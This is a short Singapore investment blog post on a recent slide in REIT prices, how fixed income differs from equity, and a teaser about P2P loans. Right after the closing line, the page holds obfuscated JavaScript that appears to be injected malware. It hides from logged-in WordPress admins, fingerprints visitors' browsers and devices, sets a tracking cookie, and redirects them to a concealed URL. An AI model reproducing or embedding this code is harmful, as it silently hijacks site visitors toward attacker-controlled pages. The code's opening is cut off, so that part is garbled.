Singapore REITs have fallen more than 10% from their recent peaks in the last 2 weeks!

FTSE Straits Times RE Invest Trust Index (Source: Bloomberg)

What happened? Should you be concerned if you are heavily invested in REITs? If you are a long-term investor with holding power and no pressing liquidity needs in the foreseeable future, then such price swings and paper loss should not bother you too much.

But if you had invested in REITs as a substitute to fixed income instruments, with the intention of getting back your original capital plus interests to pay for your property down payment one year from now, for example, then you may lose some sleep over such market volatility.

Here are some key differences / comments between fixed income (bonds, loans) and equity (REITs, stocks) investments:

So if I desire a fixed return over a fixed period and do not want to fully undertake shortfall risks on my principal due to price volatility, where should I put my money now?

Not bond funds.

Not bonds: long-dated bonds have too much sensitivity to interest rate in the current low yield environment while short-dated bonds are simply too expensive.

How about a basket of P2P loans? Stay tuned for more…load’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};